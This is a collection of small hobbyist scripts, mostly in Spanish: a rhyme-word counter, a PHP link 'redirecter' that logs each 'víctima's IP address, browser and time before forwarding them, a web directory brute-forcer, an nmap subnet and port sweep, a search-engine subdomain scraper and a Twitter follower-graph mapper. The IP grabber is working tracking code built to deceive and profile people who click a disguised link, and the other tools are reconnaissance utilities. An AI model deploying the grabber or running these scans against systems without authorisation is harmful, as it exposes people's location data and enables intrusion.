#!/usr/bin/env python
# -*- coding: utf-8 -*-

from collections import defaultdict
import urllib, re, operator
try:
	from termcolor import colored
except:
	print "Instala TERMCOLOR!\n\tpip install termcolor"

d = defaultdict(int)
aa = []
ae = []
ai = []
ao = []
au = []
aa2 = []
ae2 = []
ai2 = []
ao2 = []
au2 = []

LONGITUD = int(raw_input("Caracteres mínimos de la palabra? "))
MIN = int(raw_input("Minimo repeticiones: "))
MAX = int(raw_input("Maximo repeticiones: "))

BANNED = ("a","ante","bajo","cabe","con","contra","de","desde","en","entre","hacia","hasta","para","por","segun","sin","so","sobre","tras","durante","mediante","excepto","salvo","incluso","mas","menos","cerca","lado","alrededor","antes","arreglo","debajo","dentro","detras","encima","cuanto","enfrente","fuera","gracias","lejos")
REPLACEMENT = {"á":"a","é":"e","í":"i","ó":"o","ú":"u","ñ":"nn",".":"",",":"","?":"","¿":"","!":"","¡":"","(":"",")":"","`":"",":":"",";":"","'":""}

with open("", 'r') as file:
	for line in file:
		for w in line.split():
			w = w.lower()
			for key, value in REPLACEMENT.items():
				w = w.replace(key, value)
			if w not in BANNED:
				if len(w) >= LONGITUD:
					d[w] += 1

o = sorted(d.items(), key=operator.itemgetter(1))

print colored("Listado por Número de Repeticiones","red")


while(MIN <= MAX):
	print "###########################"
	for i in o:
		if( i[1] == MIN ):
			fila = "#\t" + i[0] + " " + str(i[1])
			print fila + " " * (20 - len(fila)) + "#"
	MIN += 1

for i in o:
	word = i[0]
	if(word[-1] in ("a","e","i","o","u")):
		if(word[-1] == "a"):
			aa.append(word)
		elif(word[-1] == "e"):
			ae.append(word)
		elif(word[-1] == "i"):
			ai.append(word)
		elif(word[-1] == "o"):
			ao.append(word)
		elif(word[-1] == "u"):
			au.append(word)
	else:
		if(word[-2] in ("a","e","i","o","u")):
					if(word[-2] == "a"):
							aa2.append(word)
					elif(word[-2] == "e"):
							ae2.append(word)
					elif(word[-2] == "i"):
							ai2.append(word)
					elif(word[-2] == "o"):
							ao2.append(word)
					elif(word[-2] == "u"):
							au2.append(word)


print colored("#" + "A" + "#","green")

print colored("\tPrincipales  con A","red")
for i in sorted(aa):
	print i,
print ""
print colored("\tRimadas con  A","red")
for i in sorted(aa2):
	print i,
print ""


print colored("#" + "E" + "#","green")

print colored("\tPrincipales  con E","red")
for i in sorted(ae):
	print i,
print ""
print colored("\tRimadas con  E","red")
for i in sorted(ae2):
	print i,
print ""


print colored("#" + "I" + "#","green")

print colored("\tPrincipales  con I","red")
for i in sorted(ai):
	print i,
print ""
print colored("\tRimadas con  I","red")
for i in sorted(ai2):
	print i,
print ""


print colored("#" + "O" + "#","green")

print colored("\tPrincipales  con O","red")
for i in sorted(ao):
	print i,
print ""
print colored("\tRimadas con  O","red")
for i in sorted(ao2):
	print i,
print ""


print colored("#" + "U" + "#","green")

print colored("\tPrincipales  con U","red")
for i in sorted(au):
	print i,
print ""
print colored("\tRimadas con  U","red")
for i in sorted(au2):
	print i,
print ""

<?php 

if (!empty($_POST)){
	echo '<h1>Bienvenidx, ' . htmlspecialchars($_POST["client"]) . '!</h1>';
	echo '<br>La víctima será redirigida a <b>'. htmlspecialchars($_POST["url"]) . '</b>!<br><br>';
	$VLINK = "/grabber.php?url=" . htmlspecialchars($_POST["url"]);
	echo "<a href='" . $VLINK . "'>¡Enlace para la víctima! No lo clickes... ಠ╭╮ಠ</a>";
	

	echo "<h3>Más resultados para " . htmlspecialchars($_POST["url"]) . "</h3>";
	echo "<table border='1'>";
	echo "<thead>";
		echo "<tr>";
			echo "<th>IP Víctima</th>";
			echo "<th>Fecha</th>";
			echo "<th>Requested URI</th>";
			echo "<th>Method</th>";
			echo "<th>User-Agent</th>";
		echo "</tr>";
	echo "</thead>";
	echo "<tbody>";

		foreach(file('log') as $line) {
			if (strpos($line, htmlspecialchars($_POST["url"])) !== false) {
 				echo $line . "\n";
			}
		}
	
	echo "</tbody>";
	echo "</table>";
	echo "<br />";
	echo "<center> <input type='button' value='ReLoad' onclick='window.location.reload()' > </center>";


}else{
	echo "<h1>URL REDIRECTER!</h1>";
	
	echo "<h2>¡Bienvenidx a nuestra página web!</h2><br>";
	echo "Introduce el enlace a cualquier web que desee que la víctima sea redirigidx.<br>";
	echo "La víctima acederá a esa dirección y obtendremos información acerca de su dispositivo <b>(IP, Browser, etc)</b>.<br>";
	echo "Recargando la página será capaz de ver qué IP's han accedido a ese enlace según la fecha.<br><br>";

	echo '<form action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '"" method="post">
		URL: <input type="text" name="url">
		<input type="hidden" name="client" value="' . htmlspecialchars($_SERVER["REMOTE_ADDR"]) . '" >
		<input type="submit">
		</form>';
}

?>

<?php

if (getenv('HTTP_CLIENT_IP'))
    $VICTIM = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
    $VICTIM = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
    $VICTIM = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
    $VICTIM = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
   $VICTIM = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
    $VICTIM = getenv('REMOTE_ADDR');
else
    $VICTIM = 'UNKNOWN';

if (isset($_GET['url'])){
	$URL = $_GET['url'];
	if(substr( $URL, 0, 4 ) !== 'http'){
		$URL = 'http://' . $URL;
	}
}else{
	$URL = 'https://www.google.com';
}

$FILE="log";

$BANNED_IP="127.0.0.1";

$NOW = date_format(new DateTime(), 'd/m/Y H:i:s');

//if ($VICTIM !== $BANNED_IP){
	$txt =  "<tr>" . 
	"<th>" . $VICTIM . "</th>" . 
	"<th>" . $NOW . "</th>" . 
	"<th>" . $_SERVER['REQUEST_URI'] . "</th>" . 
	"<th>" . $_SERVER['REQUEST_METHOD'] . "</th>" . 
	"<th>" . $_SERVER['HTTP_USER_AGENT'] . "</th>" . 
	"</tr>";
	
    $myfile = file_put_contents($FILE, $txt.PHP_EOL , FILE_APPEND);
//}

header('Location: ' . $URL);
exit;

?>

#!/usr/bin/python

import os, sys
try:
    import requests
except:
    print "[!]Requests module not found. Try to (re)install it.\n[!]pip install requests"
try:
    from termcolor import colored
except:
    print "[!]Termcolor module not found. Try to (re)install it.\n[!]pip install termcolor"

oks = []

print("EASY DIRBUSTER!")

def parser():
    #URL
    flag = False
    while ( flag == False ):
        url = raw_input("Insert an URL (with HTTP:// or HTTPS://)\n\tURL: ")
        if (url.startswith("http://")):
            flag = True
        elif (url.startswith("https://")):
            flag = True
        else:
            pass
    #PATH
    flag = False
    while ( flag == False ):
        path = raw_input("Insert path to File (ex: /root/wordlists/list.txt)\n\tPATH: ")
        if (os.path.isfile(path)):
            flag = True
        else:
            pass
    return url, path

def requester(url, fpath):
    if (requests.get(url).status_code != 200):
        return 0
    else:
        with open(fpath) as f:
            for path in f:
                temp = url + "/" + str(path).replace("\n","") + "/"
                r = requests.get(temp)
                if (r.status_code == 200):
                    print colored(("[!] " + str(r.status_code) + " OK!! -> " + temp), 'green')
                    oks.append(str(temp))
                elif (r.status_code == 403):
                    print colored(("[!] " + str(r.status_code) + " Forb -> " + temp), 'yellow')
                else:
                    print colored(("[!] " + str(r.status_code) + " NotF -> " + temp), 'red')
        return 1

url, path = parser()
#print url + path
if (requester(url, path) == 0):
    print "Error. URL not available."
else:
    print "200 OK Requested sites: "
    for ok in oks:
        print "\t" + ok
    print "Finished Successfully!"

#!/bin/bash
for ip in $(sudo nmap -sP 192.168.1.0/24 | grep "Nmap scan report" | cut -d " " -f 5 | sort); 
        do echo "IP: "$ip; echo "    ";
        for port in $(sudo nmap -sV $ip | grep open);
                do echo -e "\t"$port
        done
done

# -*- coding: utf-8 -*-
import re
import socket
import urllib2
import networkx as nx
import matplotlib.pyplot as plt

print ' _______           ______   ______   _______         _______ _________ _       _________ _        _______ '
print '(  ____ \|\     /|(  ___ \ (  __  \ (  ___  )       (       )\__   __/( (    /|\__   __/( (    /|(  ____ \ '
print '| (    \/| )   ( || (   ) )| (  \  )| (   ) |       | () () |   ) (   |  \  ( |   ) (   |  \  ( || (    \/'
print '| (_____ | |   | || (__/ / | |   ) || |   | | _____ | || || |   | |   |   \ | |   | |   |   \ | || |      '
print '(_____  )| |   | ||  __ (  | |   | || |   | |(_____)| |(_)| |   | |   | (\ \) |   | |   | (\ \) || | ____ '
print '      ) || |   | || (  \ \ | |   ) || |   | |       | |   | |   | |   | | \   |   | |   | | \   || | \_  )'
print '/\____) || (___) || )___) )| (__/  )| (___) |       | )   ( |___) (___| )  \  |___) (___| )  \  || (___) |'
print '\_______)(_______)|/ \___/ (______/ (_______)       |/     \|\_______/|/    )_)\_______/|/    )_)(_______)'
                                                                                                          

print 'Introduce un dominio: '
domain =  raw_input('(ej: "cisco.com" y no "www.cisco.com") \n')
pages = int(raw_input('Número de páginas: '))
subdomains = []
finalSubDomains = []

def google(domain, pages):
	print "SEARCHING WITH GOOGLE"
	counter = 0
	for page_no in range(0, pages*10, 10):
		google	= "https://www.google.es/search?q=site:" + domain + "+-site:www." + domain + "&start=" + str(page_no)
		try:
			#print google
			request = urllib2.build_opener()
			request.addheaders = [('User-agent', 'Mozilla/5.0')]
			source = request.open(google).read()
			urls = re.findall('<cite.*?>(.*?)<\/cite>', source)
			for url in urls:
				counter += 1
				if (url not in subdomains) and (domain in url) and ('.' in url):
					url = (url.replace('http://','')).replace('https://','')
					url = url.split('/')[0]
					subdomains.append(url) #).replace('/','')
		except:
			pass
		print "\t\t" + str(counter) + " resultados."

def yahoo(domain, pages):
	print "SEARCHING WITH YAHOO"
	counter = 0
	for page_no in range(1, pages*10, 10):
		yahoo = "https://search.yahoo.com/search?p=site:" + domain + "+-site:www." + domain + "&b=" + str(page_no)
		try:
			#print yahoo
			request = urllib2.build_opener()
			request.addheaders = [('User-agent', 'Mozilla/5.0')]
			source = request.open(yahoo).read()
			urls = re.findall('<span class=" fz-ms fw-m fc-12th wr-bw lh-17">(.*?)/', source)
			for url in urls:
				counter += 1
				if (url not in subdomains) and (domain in url) and ('.' in url):
					url = (url.replace('http://','')).replace('https://','')
					url = (url.split('/')[0]).replace('/','')
					subdomains.append((((url.replace('<b>','')).replace('<','')).replace('http://','')).replace('https://',''))
		except:
			pass
		print "\t\t" + str(counter) + " resultados."

def ask(domain, pages):
	print "SEARCHING WITH ASK"
	counter = 0
	for page_no in range(1, pages+1, 1):
		ask = "http://www.ask.com/web?q=site:" + domain + "+-site:www." + domain + "&page=" + str(page_no) + "&o=0&l=dir&qsrc=998&qo=pagination"
		try:
			#print ask
			request = urllib2.build_opener()
			request.addheaders = [('User-agent', 'Mozilla/5.0')]
			source = request.open(ask).read()
			urls = re.findall('"domain":(.*?),"contentDesignation"', source)
			
			for url in urls:
				counter += 1
				if (url not in subdomains) and (domain in url) and ('.' in url):
					subdomains.append((((url.replace('http://','')).replace('https://','')).replace('"','')).replace('/',''))
		except:
			pass
		print "\t\t" + str(counter) + " resultados."

def bing(domain, pages):
	print "SEARCHING WITH BING"
	counter = 0
	for page_no in range(1, pages+1, 1):
		bing = "https://www.bing.com/search?q=site:" + domain + "+-site:www." + domain + "&go=Submit&first=" + str(page_no)
		try:
			#print bing
			request = urllib2.build_opener()
			request.addheaders = [('User-agent', 'Mozilla/5.0')]
			source = request.open(bing).read()
			urls = re.findall('<div class="b_title"><h2><a href="(.*?)" h="ID=SERP', source)
			for url in urls:
				counter += 1
				if (url not in subdomains) and (domain in url) and ('.' in url):
					url = (((url.replace('http://','')).replace('https://','')).replace('"',''))
					url = url.split('/')[0]
					subdomains.append(url)
		except:
			pass
		print "\t\t" + str(counter) + " resultados."

def netcraft(domain):
	print "SEARCHING WITH NETCRAFT"
	netcraft = "https://searchdns.netcraft.com/?restriction=site+ends+with&host=" + domain
	try:
		#print netcraft
		request = urllib2.build_opener()
		request.addheaders = [('User-agent', 'Mozilla/5.0')]
		source = request.open(netcraft).read()
	except:
		pass

def shodan(domain):
	print "SEARCHING WITH SHODAN"
	shodan	= "https://www.shodan.io/search?query=" + domain
	try:
		#print shodan
		request = urllib2.build_opener()
		request.addheaders = [('User-agent', 'Mozilla/5.0')]
		source = request.open(shodan).read()

	except:
		pass




google(domain, pages)
yahoo(domain,pages)
ask(domain,pages)
bing(domain,pages)
#netcraft(domain) #PENDIENTE
#shodan(domain) #PENDIENTE

print "Eliminando duplicados..."

for element in subdomains:
	if element not in finalSubDomains:
		finalSubDomains.append(element)

print "\nDOMINIO BUSCADO:\t" + domain.upper() + "\n"


g = nx.Graph()
color_map = []
g.add_node(domain)

for i in sorted(finalSubDomains):
	try:
		ip = socket.gethostbyname(i)
	except:
		ip = "Connection Error"
	print i + ' | --------------------- | ' + ip
	nodo = str(i) + "\n" + str(ip)
	g.add_node(nodo)
	g.add_edge(domain, nodo)

print "Configuring node's color..."
for node in g:
        if node == domain:
                color_map.append('red')
        else:
                color_map.append('white')

print "Dibujando el gráfico..."
nx.draw(g, node_color = color_map, with_labels=True, font_size=10)
nx.spring_layout(g,k=0.1,iterations=50)
plt.show()

# -*- coding: utf-8 -*-
import tweepy
import matplotlib.pyplot as plt
import networkx as nx
from termcolor import colored

print' ######                                           '
print' #     # #   # ######  ####  #    #   ##    ####  '
print' #     #  # #      #  #    # ##  ##  #  #  #      '
print' ######    #      #   #    # # ## # #    #  ####  '
print' #   #     #     #    #    # #    # ######      # '
print' #    #    #    #     #    # #    # #    # #    # '
print' #     #   #   ######  ####  #    # #    #  ####  '
print'                                                  '



print 'Automated tool to generate a TWITTER User\'s Relational Network Graph!'
print colored('*User must have public profile.','yellow')

# Twitter variables
CK = '' # Client Key
CS = '' # Client Secret
AT = '' # Access Token
AS = '' # Access Token Secret
auth = tweepy.OAuthHandler(CK,CS) # Getting Access
auth.set_access_token(AT,AS) # with Tokens
api = tweepy.API(auth, wait_on_rate_limit=True) # Main variable 'api'. Wait on rate limit = True is for the request number's limitation by twitter
alpha = raw_input("Insert an username: ") # Alpha, the first user from where we are looking for
ids = api.friends_ids(alpha) # IDentification number of the whole friends of the user

print "The user has " + str(len(ids)) + " ids located."

# NetworkX & Pyplot variables
g = nx.Graph() # Create the graph
color_map = [] # Void array of colors
g.add_node(alpha) # We add the first node by tagname

# We create the rest of nodes and join them with the first node by edges
for i in range(0 , len(ids), 1):
	ids_name = api.get_user(ids[i]).screen_name
	g.add_node(ids_name)
	g.add_edge(alpha, ids_name)

# We are going to comprovate if the users listed in the array ids follows between themself
# usu = usu1, usu2, usu3
# usu = usu1, usu2, usu3
	# usu1 to usu2, usu1 to usu3, usu2 to usu1, usu2 to usu3, usu3 to usu1 AND usu3 to usu2 basically
for id1 in ids:
	id1_name = api.get_user(id1).screen_name # User name
	print '\n'
	print colored('#'*(len(id1_name)+2),'green')
	print colored('#'+id1_name.upper()+'#','green')
	print colored('#'*(len(id1_name)+2),'green')

	for id2 in ids:
		id2_name = api.get_user(id2).screen_name # User name
		if (id1_name == id2_name): # If the user is equal to himself, pass
			pass
		else:
			a = api.show_friendship(source_screen_name=id1_name, target_screen_name=id2_name) # Get the relationship between this two different users in a list
			followed = str(a[1]).split(',')[2].split('=')[1] #Param of the list followed_by=False/True 
			following = str(a[1]).split(',')[4].split('=')[1] #Param of the list following=False/True
			print "\tWith " + colored(id2_name,'cyan')
			print colored("\tFollowed? ",'green') + colored(followed,'red') + colored("\tFollowing? ",'green') + colored(following,'red')

			if (followed == "True") and (following == "True"): #If them follow and are followed
				g.add_edge(id1_name, id2_name,  edge_color="red", style="doted") # Join them with a doted and style of edge
			elif (followed == "True"):
				g.add_edge(id2_name, id1_name,  edge_color="blue") # Join them with a blue edge
			elif (following == "True"):
				g.add_edge(id1_name, id2_name,  edge_color="green")
			else:
				pass

# Give color red to the main node (user we are looking for)
# If its not the main user, paint it white
for node in g:
	if node == alpha:
		color_map.append('red')
	else:
		color_map.append('white')

# Draw the graphic
nx.draw(g, node_color = color_map, with_labels=True)
nx.spring_layout(g,k=0.15,iterations=20)
plt.show()